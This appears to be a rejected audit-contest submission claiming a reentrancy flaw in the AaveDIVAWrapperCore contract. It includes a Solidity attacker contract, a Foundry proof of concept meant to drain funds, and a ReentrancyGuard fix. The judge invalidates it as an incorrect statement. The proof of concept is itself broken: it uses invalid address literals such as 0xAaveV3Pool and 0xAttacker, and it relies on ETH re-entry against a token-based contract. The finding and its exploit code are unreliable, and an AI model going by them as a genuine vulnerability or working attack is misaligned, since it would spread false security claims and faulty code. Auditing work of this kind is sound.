HardhatDeFi
15,000 USDC
View results
Submission Details
Severity: high
Invalid

Reentrancy vulnerability

Summary

The AaveDIVAWrapperCore contract interacts with external protocols (Aave and DIVA) and performs token transfers without explicit reentrancy protection. Functions like handleTokenOperations, redeemWTokenPrivate, and _claimYield involve external calls and token transfers, which could be exploited in a reentrancy attack. An attacker could repeatedly re-enter the contract during these operations, potentially draining funds or manipulating the contract's state.

Vulnerability Details

The vulnerability arises because the contract does not use reentrancy guards (e.g., OpenZeppelin's ReentrancyGuard) to protect functions that involve external calls and token transfers. Specifically:

  • _handleTokenOperations: Transfers tokens to the contract and interacts with Aave.

  • _redeemWTokenPrivate: Burns wTokens and withdraws collateral from Aave.

  • _claimYield: Withdraws yield from Aave.

    These functions are susceptible to reentrancy attacks because they perform external calls (e.g., Aave interactions) and token transfers without ensuring that the contract's state is updated before the external call.

    1. An attacker deploys a malicious contract that interacts with the AaveDIVAWrapperCore contract.

    2. The attacker calls a vulnerable function (e.g., redeemWToken).

    3. During the execution of the vulnerable function, the attacker's contract re-enters the AaveDIVAWrapperCore contract by calling the same function again.

    4. The reentrancy allows the attacker to repeatedly drain funds or manipulate the contract's state before the original function call completes.

PoC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {AaveDIVAWrapperCore} from "../src/AaveDIVAWrapperCore.sol";
contract MaliciousContract {
AaveDIVAWrapperCore private vulnerableContract;
address private attacker;
constructor(address _vulnerableContract) {
vulnerableContract = AaveDIVAWrapperCore(_vulnerableContract);
attacker = msg.sender;
}
// Fallback function to re-enter the vulnerable contract
fallback() external payable {
if (address(vulnerableContract).balance > 0) {
// Re-enter the vulnerable function
vulnerableContract.redeemWToken(address(this), 1 ether, attacker);
}
}
// Function to initiate the attack
function attack() external {
// Call the vulnerable function
vulnerableContract.redeemWToken(address(this), 1 ether, attacker);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import "forge-std/Test.sol";
import {AaveDIVAWrapperCore} from "../src/AaveDIVAWrapperCore.sol";
import {MaliciousContract} from "../src/MaliciousContract.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ReentrancyPOC is Test {
AaveDIVAWrapperCore private vulnerableContract;
MaliciousContract private maliciousContract;
address private attacker;
function setUp() public {
// Deploy the vulnerable contract
vulnerableContract = new AaveDIVAWrapperCore(
address(0xAaveV3Pool), // Mock Aave V3 Pool address
address(0xDIVA), // Mock DIVA Protocol address
address(this) // Owner
);
// Deploy the malicious contract
maliciousContract = new MaliciousContract(address(vulnerableContract));
// Set up attacker address
attacker = address(0xAttacker);
// Fund the vulnerable contract with tokens (for demonstration purposes)
deal(address(vulnerableContract), 100 ether);
}
function testReentrancyAttack() public {
// Attacker initiates the attack
vm.prank(attacker);
maliciousContract.attack();
// Check if the attacker drained funds
uint256 attackerBalance = address(attacker).balance;
assertGt(attackerBalance, 0, "Attack failed: Attacker balance is 0");
}
}

Impact

  • Funds Theft: An attacker could drain funds from the contract by repeatedly re-entering during token transfers or withdrawals.

  • State Manipulation: The attacker could manipulate the contract's state (e.g., balances, approvals) to their advantage.

  • Denial of Service: Repeated reentrancy could cause the contract to run out of gas, leading to denial of service.

Tools Used

  • Foundry: Used to write and execute the PoC.

  • Manual Review

Recommendations

import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract AaveDIVAWrapperCore is ReentrancyGuard {
function _redeemWTokenPrivate(
address _wToken,
uint256 _wTokenAmount,
address _recipient,
address _burnFrom
) internal nonReentrant returns (uint256) {
// Function logic
}
}
Updates

Lead Judging Commences

bube Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.